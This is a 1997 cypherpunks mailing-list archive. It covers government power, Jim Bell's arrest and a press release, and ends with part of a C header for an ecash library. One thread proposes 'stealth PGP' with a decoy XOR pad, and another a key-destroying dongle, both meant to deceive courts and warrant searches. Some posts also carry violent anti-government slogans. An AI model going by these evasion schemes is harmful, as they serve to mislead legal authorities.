Strictly speaking, I don't advocate government.  Rather, I think that
government is innate to the human species.  Chimpanzees and Baboons
have a political/social power hierarchy -- it's ubiquitious among
higher primates.  In fact, it's common among a great many different
kinds of animals.  Humanity has a much more complex and evolved power
hierarchy, to be sure, but the same fundamental psychological
motivation -- a "will to power", if you will -- is present.

> And while government is an abstraction of the activities of a 
> lot of individual humans, governments do tend to accumulate
> and abuse power, and tend to reach a point where they're more
> interested in maintaining and increasing that power than in

Yes, that tendency does seem to exist.  There's an analogy to
gravity organizing matter in clumps -- each individual bit of matter
contributes to the overall effect; each individual human being 
contributes their bit of power hunger to the mix.

> any legitimate activities like protecting life, liberty, and property.

Who decides what are legitimate activities for government? Either the
"elite" or the "sheeple", or some combination thereof? Strictly
speaking, I think the "legitimate activities for government" is
meaningless -- ultimately governments *always* define their own
legitimacy.  To precisely the extent that you are able to effectively
discuss the "legitimate activities of government" you are in fact
participating in the power struggle, which means you are part of the
real government (just a small faction perhaps...)

Note that the cryptoanarchy electronic money agenda is just another
power play that uses privacy rhetoric as a smokescreen for it's real 
purpose, namely, empowering an elite.  Money, after all, is a 
powerful weapon.

> Consider the drug war, the military-industrial complex,
> the fraction of your income that's paying for government,
> and compare that with 200 years ago...

The drug war is an expression of collective idiocy, IMO -- one of
many.  The military-industrial complex is a good, concrete example
that government and society are inseperable.  The point about the
fraction of my tax dollars -- the fact of the matter is that we are
all *much* better off than we would have been 200 years ago, that
society as a whole is more productive, and as indivuals we get far
more back from the society/government we live in than we could ever
possibly contribute.  "The System" as a whole could be more efficient,
certainly, but it's hard to make meaningful comparisons with things
200 years ago. 

> Also power _attracts_ the corrupt, and the corruptible.
> As Henry the K said, it's the ultimate aphrodisiac.

Which is obvious, if you look at the primate origins.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 22 May 1997 01:38:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705211624.JAA00456@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


>From what I have read, the elements of the conspiracy offence are a
plan to commit a crime involving multiple individuals, and at least one
overt act taken in furtherance of the plan.  For example, if people get
together and plan a kidnapping, then one member goes out and buys some
rope, that could be enough to represent conspiracy to commit kidnapping.
You don't actually have to do the kidnapping to be convicted on conspiracy.

If Bell got together with his friend and talked about disabling government
computers with "carbon fibers" (whatever those are), and he then goes
out and buys a source of carbon fibers, a case could be made that this
would represent the crime of conspiracy.  (We don't know yet whether either
of these thing actually happened, of course.)

Now his lawyer can argue that the conversation was purely hypothetical
speculation of the type which technically minded people commonly engage
in, and the carbon fiber source (if it exists) was acquired out of
curiosity based on the discussion.  Then it would be up to the jury
to decide whether Bell's actions actually were part of a planned crime
or not.

In this context his writings and hostile relations with government
agencies could conceivably be used against him, if his lawyer did try
to argue that his conversations were just innocent speculation.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 00:48:59 +0800
To: cypherpunks@algebra.com
Subject: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <199705211558.RAA03639@n246-140.berlin.snafu.de>
Message-ID: <v03007802afa8e11a2121@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>On Thu, 15 Jul 1993, Allan Thompson wrote:
>
>>         Would it be possible for a court to subpeona a encrypted file or
>>key,
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>How about claiming that you used a OTP and then revealing the key?
>Or should I say a key?
>

Making a claim and having it be plausible are entirely different things. In
the case of PGP, or S/MIME, or whatever, the form is entirely different
from what a one time pad would generate.

A so-called "stealth" form of PGP (etc.), which would not contain headers
or other indications of it being PGP, version, etc., would be a better
candidate for this.

(Efforts to build such stealth versions have languished...I spoke to some
PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
they confirmed that this is a very low, or even negative priority. As their
mission is now to meet corporate needs, and to get generate sales to
government agencies, and to work with Key Recovery and Children's Security
Alliance, introducing a "plausible deniability" version of PGP is not
desirable for them.)

A stealth version that automatically generated a "pad" that was innocuous
would be easy enough to write. Just XOR the stealthed PGP block with
something like "I'm thinking of travelling to Germany this summer...any
ideas about what I should see? blah blah blah"

Then any search warrant turns up the XORed version (the pad), which when
XORed with the message the authorities want to decrypt yields the innocuous
message above.

Probably any stealthy versions of PGP or S/MIME would best be handled
outside of PGP or other vendors...just modify their source code and
distribute the stealthy versions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@WEBSTER2.ffg.com
Date: Thu, 22 May 1997 02:02:42 +0800
To: cypherpunks@toad.com
Subject: News from the Front II
Message-ID: <B0000270078@alt.bs.net>
MIME-Version: 1.0
Content-Type: text/plain


An update to our customers and friends on happenings at 
-----------------------------------------------------------------------
F O R E F R O N T  -  Taking the Chaos out of the 'Net
http://www.ffg.com		   Newsletter  5/13/97
-----------------------------------------------------------------------
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I.   News from the 'Front
II.  Hot Tip
III. Special Offer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 02:58:03 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v03007804afa8fc5085af@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





At 9:35 AM -0800 5/21/97, Michael Wilson wrote:
>The occasion of Jim Bell's arrest provides an opportunity to consider
>a number of points:
>
>Are Federal Agents Evil?
>Why is there an attempt to persecute Jim Bell, one that has many
>similarities to the Olympic Park Bombing rush-to-judgment, Ruby
>Ridge, Waco, OK City, etc.?  Are we to believe that government
>agents are 'evil,' or True Believers that _we_ (those who are _not_
>true believers) are evil?  I personally think not.  I think we are

I almost never think government agents, even most rulers, are in any
meaningful sense "evil."

I've written in the past about "institutional" issues, and about
Nietzsche's "Beyond Good and Evil." The problems in the United States, with
bloated welfare roles, a "policeman for the world" mentality, an overly
litigous/litigious society, etc., come not from any personal evil on the
part of the elected or appointed officials, but rather from an inexorable
growth of certain institutions in predictable ways. Any enity, be it an
organism or an institution, a living plant like a tree or a corporation
like PGP, Inc., grows and thrives by how well it competes, how well it
bends toward the sources of food and energy, and what genes or memes it
received. "The purpose of any organism is to survive" is a telelogical
truism, of course. But it is still true. All institutions--corporations,
clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
directed by a central nervous system.

In corporations, even individual departments seek to grow. This aids in
career advancement. "Empire building" happens with countries, government
bureaucracies, corporations, clubs, and so on.

There are perfectlylogical game-theoretic reasons why the Washington
bureaucracy has gotten so large, why every one of the 500+ Congresscritters
has a staff of dozens working for him or her, why each of the dozen or so
major Cabinet departments has dozens of buildings and thousands (even
millions, as with DoD) of worker bees, why each entity in government seeks
constantly to expand its scope and powers, and why the number of rules,
regulations, laws, emergency orders, and edicts expands inexorably every
day.

"Evil" is not a useful way to analyze this problem. In this sense, everyone
in government is an "innocent." But the problem still needs to be fixed.

And in fixing these institutions it is unavoidable that "non-evil" persons
will be affected. How could it be otherwise? Some will lose their careers,
some their current jobs, some may even lose their lives. (No, this is not a
threat, just a statement of the obvious, a prediction.)

Innocents in Washington and elsewhere will, if they have any sense of their
own future security, seek to avoid the institutions and power centers which
will be affected by the necessary restructurings.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 01:51:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <v03007802afa8e11a2121@[207.167.93.63]>
Message-ID: <199705211734.MAA31792@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007802afa8e11a2121@[207.167.93.63]>, on 05/21/97 
   at 11:38 AM, Tim May <tcmay@got.net> said:

>At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>>On Thu, 15 Jul 1993, Allan Thompson wrote:
>>
>>>         Would it be possible for a court to subpeona a encrypted file or
>>>key,
>>> and order you to tell them the key ?
>>> If you didn't would you be held in 'contempt of court' ?
>>
>>How about claiming that you used a OTP and then revealing the key?
>>Or should I say a key?
>>

>Making a claim and having it be plausible are entirely different things.
>In the case of PGP, or S/MIME, or whatever, the form is entirely
>different from what a one time pad would generate.

>A so-called "stealth" form of PGP (etc.), which would not contain headers
>or other indications of it being PGP, version, etc., would be a better
>candidate for this.

>(Efforts to build such stealth versions have languished...I spoke to some
>PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
>they confirmed that this is a very low, or even negative priority. As
>their mission is now to meet corporate needs, and to get generate sales
>to government agencies, and to work with Key Recovery and Children's
>Security Alliance, introducing a "plausible deniability" version of PGP
>is not desirable for them.)

>A stealth version that automatically generated a "pad" that was innocuous
>would be easy enough to write. Just XOR the stealthed PGP block with
>something like "I'm thinking of travelling to Germany this summer...any
>ideas about what I should see? blah blah blah"

>Then any search warrant turns up the XORed version (the pad), which when
>XORed with the message the authorities want to decrypt yields the
>innocuous message above.

>Probably any stealthy versions of PGP or S/MIME would best be handled
>outside of PGP or other vendors...just modify their source code and
>distribute the stealthy versions.


This was part of the basis for my proposal for a crypto-dongel. Instant
destruction of ones private key any time any place. When the judge
requests your key and all legal challenges to the request have been
exausted you merly have your lawer give the judge the distroyed key. "what
your honor when was the key distroyed? well right after I saw a large
group of men in ski masks & M16's trying to kick in my door ...." :))


"The tree of liberty must periodically be feed with the blood of tyrants
and patriots."

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

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WZunk8YFc58=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Thu, 22 May 1997 01:47:10 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Cypherpunk criminalization
Message-ID: <97052117355649/0005514706DC6EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


The occasion of Jim Bell's arrest provides an opportunity to consider
a number of points:

Are Federal Agents Evil?
Why is there an attempt to persecute Jim Bell, one that has many
similarities to the Olympic Park Bombing rush-to-judgment, Ruby
Ridge, Waco, OK City, etc.?  Are we to believe that government
agents are 'evil,' or True Believers that _we_ (those who are _not_
true believers) are evil?  I personally think not.  I think we are
seeing a phenomenon that is rather simple--government agents will tend
to pursue cases that may get them recognition or promotion.  People
like Jim Bell pass some mobile threshold where their case is media
'hot' or sexy enough to make it worth pursuing--the Feds get a collar
and media attention, a prosecutor gets similar benefits, judges are
notoriously easy to inflame for the proper paperwork to be obtained,
etc.  Are the rest of the cypherpunks at risk?  Looking at it with
my game theorist hat on, I suspect not--while Tim May has been
pushing the envelope recently, I don't think he's crossed any line
would allow the appearance of a 'good bust,' nor has anyone else on
the list (to my direct knowledge).  I think we're witnessing a bit
of the same mentality that literally did allow the operation of the
Nazis--they're just doing their job, just following orders, just
being part of their bureaucracy, with perhaps a few True Believers
to leaven the mix.

Technology vs. Public Relations/Propaganda
Cypherpunks write code, we hear it often enough as the credo of the
'movement.'  On the other hand, as valuable a social service as it
actually has been, the war is being fought on other terms.  Crypto
has been characterized as 'offensive' technology, in two senses of
the term--a regulated weapons technology, and a socially unacceptable
act.  This manifests in the 'what have you got to hide' mentality,
coupled with the trotting out of the Four+ Horsemen.  We're losing this
part of the war, and the cutting of more code isn't going to help us
one bit.  We need to turn the public perception around.  What we're
seeing in this case is a rather rapid erosion of the legal principles
of an expectation of privacy (I won't engage in the rather lengthy
discussion of this, but I recommend the interested parties do take
the time to read in a good law library, or hunt down the materials on
the Bork nomination to the Supreme Court).  We've become a society
that is expected to publicly air our dirty laundry, to march onto a
television talk-show and expose our faults, foibles, and felonies.
We need to fight back in ways that communicate to Joe Sixpack, also
known as the Common Man--we all have secrets, we all have things we
don't want people to know.  Build the database!  Get the testimonials!

Let me briefly mention some of the sorts of need for privacy, secrecy,
anonymity that are socially acceptable, and which we need to use to
reinforce our own message:
--AIDS testing;
--Illness diagnosis, such as cancer;
--Financial information: credit card numbers, bank balances, net worth;
--Dropping the dime on crime: mob witnesses, corporations, your noisy
neighbor who abuses their kids but owns a shotgun;
--Donations to needy causes, but not wanting everyone to have their
hand out;
--Personal habits: alcoholism, drug use, gambling addiction, sexual
preferences;
--Common law privileges: confessional, physician or attorney relation
to their client.

In short, we all have things we want to remain secret, and we certainly
don't want them to be 'exposed,' or to fall into the wrong hands. We
need to take the issue back from the criminalization of having secrets
to a place where crypto is viewed as a defensive technology--we're
entitled to it, and our privacy.

Crypto vs. the Government
This is the biggest area of contention.  The cypherpunk case is that
strong, unescrowed cryptography is essential--we have no reason to
assume that government is our friend (pull out the file of long-term
government abuses here, from using the IRS to pursue political
targets to the mail-opening programs of the FBI/CIA), and more to the
point, this isn't a 'local' issue that is categorized by a singular
stance on the part of the U.S. government.  The cryptosystems we
build and promote are used in places where they protect human rights
workers, economic security and competitiveness, privacy, etc.  The
Internet and the tools are global, so we're on a battlefield that also
includes:
-Europe, including the Former Soviet Republics and Bosnia, where strong
crypto is critical for freedom-loving movements;
-Asia, where users of strong crypto use it to prevent competitive
intelligence or organized espionage programs from impacting on their
business, in particular, from actions of those U.S. 'allies' Japan,
Korea, China;
-the Middle East, where strong crypto protects human rights workers,
businesses, and individuals who have an un-Islamic taste for things
like pornography, or news; see 'rogue' States like Iran, but also
U.S. 'allies' like Saudi Arabia, Egypt, Israel, Kuwait, etc.

And the global battle means that we have to set an example, allow access,
and fight those efforts on our own turf (does anyone really think that
Asian or European competitive intelligence or espionage efforts don't
also take place on American soil?).

The U.S. government has made good use of the insinuation that if we
have things to hide, then in a free and open democracy, we must be
actively engaged in criminal activity.  Certainly, strong cryptography
of many sorts is being used to protect criminal activity.  It is also
a principle upon which the American system is based that you don't
deprive the rights and freedom of the majority, those who have not
committed any crime, merely in an effort to pursue the felonious.
This is why you still need a properly executed warrant to search an
area which has an expectation of privacy (which _is_ being slowly
eroded as a legal principle, which we need to point out as a trend).
As Tim May likes to point out, there are an increasing number of laws
that individuals can be pursued under, with ever more general levels
of interpretation.  Convictions make convicts.  Bureaucracies tend
to grow, seeking more power for themselves, until 'that which is not
compulsory is illegal, and that which is not illegal is compulsory.'
Students of history are well aware of what comes next in the cycle--
revolution.  My only observation on this is that America has always
been willing to speed through trend curves, and it looks like she is
flooring the accelerator in this case--from growing State, to global
Power, to dying Empire.  Think of it like an organic system, and
like any entity, it reacts poorly to what it rightly views as being
a threat to its own survival--cypherpunks among many.

Sign me:
A Man With Many Secrets and Much to Hide
Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 02:32:26 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970521092223.04748@bywater.songbird.com>
Message-ID: <199705211812.NAA32382@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <19970521092223.04748@bywater.songbird.com>, on 05/21/97 
   at 10:22 AM, Kent Crispin <kent@songbird.com> said:

>Who decides what are legitimate activities for government? Either the
>"elite" or the "sheeple", or some combination thereof? Strictly speaking,
>I think the "legitimate activities for government" is meaningless --
>ultimately governments *always* define their own legitimacy.  To
>precisely the extent that you are able to effectively discuss the
>"legitimate activities of government" you are in fact participating in
>the power struggle, which means you are part of the real government (just
>a small faction perhaps...)

It is very simple as to what the legitimate activities of the government
is. It is explicitly spelled out in The Constitution of The United States.
It states quite clearly in no uncertain terms what the federal government
can and can not do. Unfortunately people like yourself and the majority of
politicians feel that they can wipe their ass with this document whenever
it suits their needs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 22 May 1997 05:26:01 +0800
To: cypherpunks@toad.com
Subject: Press Release -- NetFortress Added to GSA Schedule (fwd)
Message-ID: <Pine.GSO.3.95.970521135651.6753A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 21 May 1997 16:41:29 -0400
From: Gretta Bruce <gretta@dsnt.com>
To: declan@well.com
Subject: NetFortress Added to GSA Schedule



	FOR IMMEDIATE RELEASE			CONTACT:	Gretta Bruce,  813/288-7388 
	May 21, 1997							or gretta@dsnt.com 

NETFORTRESS  ADDED TO GSA SCHEDULE
Breakthrough Network Security Solution Now Widely Available to Government
Customers

Tampa, FL.... Digital Secured Networks (DSN) Technology announced today that
its advanced encryption product, the NetFortress, has been listed on the
federal procurement schedule of the General Services Administration (GSA).
The NetFortress was added to the GSA schedule of one of DSN's federal market
VARs, Patriot Technologies Inc.

The addition of the NetFortress to the GSA Schedule (#GS-35F-4363D) makes
DSN's breakthrough encryption products widely available to customers
throughout the federal government.  Since the GSA Schedule functions as an
approved, "one-stop shop" for federal purchases, it also will shorten the
overall procurement process for federal purchasers.

"Availability and affordability are the keys for federal buyers," said
Raymond L. Weadock, DSN's President and Chief Executive Officer.
"Purchasing NetFortress products through the GSA schedule will simplify the
overall procurement process, and enable our federal customers to integrate
our superior security solutions quickly and efficiently." 

"The GSA listing for the NetFortress is an important part of our federal
sales efforts," Weadock continued.  "We have seen a significant increase in
federal customers as a result of the recent success of the NetFortress in
tests at multiple government testbeds.  We anticipate that the GSA listing
will enhance the attractiveness of our product in many of these buying
decisions."

The NetFortress stands out from other network security products because of
its unique combination of high-speed data throughput and fully-automated
encryption, authentication and key management technologies. Its
hardware-based design utilizes algorithm-independent encryption at the
network layer (supports IDEA, DES, Triple DES and FEAL), enhanced by dynamic
random key exchanges every 24 hours.  The NetFortress offers superior
security and high-speed performance in an easy-to-deploy, low-cost package.

About DSN Technology:
Digital Secured Networks (DSN) Technology was founded in 1995 by Dr. Aharon
Friedman and Mr. Andrew Savas.  Dr. Friedman, DSN's Chairman and Chief
Technology Officer, invented the breakthrough encryption technology
incorporated into the NetFortress product line.  DSN Technology is a
privately-held company.  For further information, please visit the company
website at www.dsnt.com.  

About Patriot Technologies:
Patriot Technologies, Inc., develops integrated, turnkey Internet solutions
for business, education and government clients world-wide.  With more than
50 years of computer industry experience, Patriot specializes in the design
and implementation of Internet applications for enterprise systems, with
growing concentration in the area of network security.  Key federal clients
include the U.S. Department of State, U.S. Department of Justice, and U.S.
Department of Energy.  Further information may be obtained from the company
website at www.patriot-tech.com or by calling 301/417-9899.    
 
######






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 05:35:35 +0800
To: cypherpunks@toad.com
Subject: Ecash API
Message-ID: <199705212108.OAA13411@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-dev-lucre@c2.org using -f
X-Sender: jeremey@descartes.bluemoney.com
Date: Wed, 21 May 1997 12:32:09 -0700
To: ecash-dev@digicash.com, dev-lucre@c2.net
From: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Ecash API
Mime-Version: 1.0
Sender: owner-dev-lucre@c2.net
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

Given the absence of an API from Digicash, we need a high level API so
make the task of integrating ecash into products really easy. So here's
my stab. This is the current header from my ecash library, which is a wrapper
for -lucre. -lucre is great, but it's pretty low-level, hence the wrapper.

The documentation in here is pretty incomplete, with just basic descriptions
of what functions do what. At some point it will be improved. I welcome
comments, suggestions, questions, and feature requests.

Currently, this lib handles socket transactions only, but ascii-armor
support will be added. This library will be available in some form or another
in the future, at the moment I'm just looking for feedback.

Regards,
Jeremey.


/*   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   Please view the full copyright at the bottom of this file.
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*==========================================================================*
 *
 * ecash.h
 *
 * Written by: Jeremey Barrett
 *
 * $Revision: 1.2 $
 */

#ifndef _ECASH_H_
#define _ECASH_H_


#include <Vlib.h>                           /* utility header */
#include <lucre.h>                          /* -lucre header */


/*-------------------------------------------------------------------- 
 * Types
 */

typedef struct _ECSocket ECSocket;
typedef struct _ECPayment ECPayment;
typedef struct _ECPocket ECPocket;
typedef struct _ECConfig ECConfig;
typedef struct _ECError ECError;



/*-------------------------------------------------------------------- 
 * Errors
 */

#define ECError_NONE                   0
#define ECError_INVALID                -1
#define ECError_ECSYS                  -2
#define ECError_SYS                    -3
#define ECError_TCP                    -4
#define ECError_READ                   -5
#define ECError_WRITE                  -6
#define ECError_BIGNUM                 -7
#define ECError_MSGNEW                 -8
#define ECError_WALLETCREATE           -9
#define ECError_NOMEM                  -10
#define ECError_POCKETOPEN             -11
#define ECError_POCKETPASSWD           -12
#define ECError_NOBANKACCOUNT          -13
#define ECError_WITHDRAWAMOUNTLOW      -14
#define ECError_DEPOSITPAYMENT         -15
#define ECError_DEPOSITALLPAYMENTS     -16
#define ECError_DEPOSITRECDB           -17
#define ECError_DEPOSITREJECTED        -18
#define ECError_WALLETSTATUS           -19
#define ECError_DEPOSIT                -20
#define ECError_WITHDRAW               -21
#define ECError_NOPOCKETPASSWD         -22
#define ECError_ECMSGINVALID           -23
#define ECError_SENDMSGCALLBACK        -24
#define ECError_MAGIC                  -25
#define ECError_APPENDMSG              -26
#define ECError_PAYMENTACCEPT          -27
#define ECError_PAYMENTACCEPTBADAMOUNT -28
#define ECError_PAYMENTREJECTED        -29
#define ECError_PAYMENTMAKE            -30
#define ECError_PAYREQRECEIVE          -31
#define ECError_PAYREQCURRENCYUNKNOWN  -32
#define ECError_PAYMENTREQUEST         -33
#define ECError_PAYMENTACK             -34
#define ECError_PAYDB                  -35
#define ECError_NOPAYMENTS             -36
#define ECError_WALLETCOINS            -37
#define ECError_EXCHANGECOINS          -38
#define ECError_EXCHANGEREJECTED       -39
#define ECError_NOTENOUGHCASH          -40

#define ECNoError ((ECError *)NULL)




/*-------------------------------------------------------------------- 
 * ECPocket APIs
 *
 * Very preliminary documentation (will get enhanced later, I'm just
 * documenting the less obvious here.
 *
 * EC_Pocket_open() - Open an existing pocket, with location and
 *                    passphrase set in the ECConfig *.
 *
 * EC_Pocket_openAccount() - Create a new pocket with the attributes
 *                           in the ECConfig *. This does _not_ open
 *                           the pocket. This is for pockets which
 *                           have mint accounts only.
 *
 * EC_Pocket_openNoAccount() - Create a new pocket with the attributes
 *                             in the ECConfig *. This does _not_ open
 *                             the pocket. This creates an accountless
 *                             pocket, so the mintAddr and mintPort of
 *                             the ECConfig * should point to the
 *                             moneychanger. Note that mintID is still
 *                             required. This will open a connection
 *                             to the moneychanger and retrieve currency
 *                             keys for the mint.
 *
 * EC_Pocket_withdraw() - Withdraw from a mint account.
 *
 * EC_Pocket_withdrawProtoCoins() - Complete and withdraw the coins in
 *                                  the EC_M_Withdraw3 (a -lucre struct).
 *                                  amt is the value of the coins being
 *                                  withdrawn.
 *
 * EC_Pocket_deposit() - Deposit amount into mint account
 *
 * EC_Pocket_depositWithdraw() - Deposit coins and immediately withdraw
 *                               the same amount. This allows for exchanges
 *                               of coins and altering the stored 
 *                               denominations. Call this when you don't have
 *                               the right coins on hand for a payment.
 *
 * EC_Pocket_exchangeCoins() - Exchange coins (via moneychanger), same as
 *                             above but w/o mint.
 *
 * EC_Pocket_getCoinInfo() - Returns information about the denominations
 *                           available for a given amount. max_avail is the
 *                           largest amount the pocket can make less than the
 *                           amount specified. min_dep is the smallest amount 
 *                           to exchange which will guarantee the ability to 
 *                           make amount, provided min_dep is withdrawn in 
 *                           base units (i.e. 1 cent).
 *
 */
ECPocket *EC_Pocket_create( void );
ECPocket *EC_Pocket_copy( ECPocket *this );
ECError *EC_Pocket_destroy( ECPocket *this );
ECError *EC_Pocket_open( ECPocket *this, 
          ECConfig *conf );
ECError *EC_Pocket_openAccount( ECConfig *conf );
ECError *EC_Pocket_openNoAccount( ECConfig *conf );
ECError *EC_Pocket_withdraw( ECPocket *this, 
              Int32 amount, 
              Int32 minPayments );
ECError *EC_Pocket_withdrawProtoCoins( ECPocket *this, 
                   ECSocket *sock, 
                   EC_M_Withdraw3 wd3, 
                   Int32 amt );
ECError *EC_Pocket_deposit( ECPocket *this, 
             Int32 amount );
ECError *EC_Pocket_depositWithdraw( ECPocket *this, 
                Int32 amount, 
                Int32 payments );
ECError *EC_Pocket_exchangeCoins( ECPocket *this, 
              Int32 amount, 
              Int32 payments,
              char *host, 
              char *port );
ECError *EC_Pocket_getMintID( ECPocket *this, 
               UInt32 *id );
ECError *EC_Pocket_getCurrency( ECPocket *this, 
            UInt32 *cur );
ECError *EC_Pocket_getAccountName( ECPocket *this, 
               char **name );
ECError *EC_Pocket_getCash( ECPocket *this, 
             UInt32 *cash );
ECError *EC_Pocket_getBalance( ECPocket *this, 
                UInt32 *bal );
ECError *EC_Pocket_getCashStr( ECPocket *this, 
                char **cash_str );
ECError *EC_Pocket_getBalanceStr( ECPocket *this, 
              char **bal_str );
ECError *EC_Pocket_getCoinInfo( ECPocket *this, 
            UInt32 amount, 
            UInt32 *max_avail,
            UInt32 *min_dep );
Int32 EC_Pocket_isAccountless( ECPocket *this );



/*-------------------------------------------------------------------- 
 * ECSocket APIs
 *
 *
 * Simple set of socket APIs. These functions manage the ecash TCP
 * protocol for you. Documentation later.
 *
 * EC_Socket_setCallbacks() - Sets send and receive callbacks for
 *                            sending ecash messages. These will be
 *                            called _after_ the message is encoded 
 *                            with the ecash TCP header.
 */
ECSocket *EC_Socket_create( UInt32 type );
ECError *EC_Socket_setCallbacks( ECSocket *this,  
             UInt32 (*sendcallback)( void *cbInfo,
                      UChar *msg, 
                      UInt32 len ),
             UInt32 (*recvCallback)( void *cbInfo,
                      UChar **msg,
                      UInt32 *len),
             void *cbInfo );
ECSocket *EC_Socket_createFromFd( char *haddr, char *hport, Int32 fd );
ECError *EC_Socket_open( ECSocket *this, char *haddr, char *hport );
ECError *EC_Socket_accept( ECSocket *this, ECSocket *new );
ECError *EC_Socket_listen( ECSocket *this, char *hport );
ECError *EC_Socket_sendMsg( ECSocket *this, EC_M_Msg msg );
ECError *EC_Socket_recvMsg( ECSocket *this, EC_M_Msg msg );
TCPSocket *EC_Socket_getTCPSocket( ECSocket *this );



/*-------------------------------------------------------------------- 
 * ECConfig APIs
 */
ECConfig *EC_Config_create( void );
ECConfig *EC_Config_copy( ECConfig *this );
ECError *EC_Config_destroy( ECConfig *this );
ECError *EC_Config_setAccountName( ECConfig *this, char *name );
ECError *EC_Config_setAccountPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketDir( ECConfig *this, char *path );
ECError *EC_Config_setMintID( ECConfig *this, UInt32 mintID );
ECError *EC_Config_setMintAddr( ECConfig *this, char *host );
ECError *EC_Config_setMintPort( ECConfig *this, char *port );




/*-------------------------------------------------------------------- 
 * ECPayment APIs
 *
 * The important functions here are accept(), make(), request(), and
 * variants. Note that this is all socket based, there will be ascii
 * armor variants soon, but not now.
 *
 * EC_Payment_accept() - accept an online payment. The this pointer
 *                       points to an ECPayment with the expected
 *                       amount set. This amount is checked and an
 *                       error will be returned if the incoming payment
 *                       does not agree. The ECSocket * is an already
 *                       open socket to the payer. This function will
 *                       automatically handle accountless pockets, so
 *                       explicitly calling the NoAccount variant is
 *                       not necessary.
 *
 * EC_Payment_accept1() - same as above, but the payment is _not_ acked
 *                        to the payer.
 *
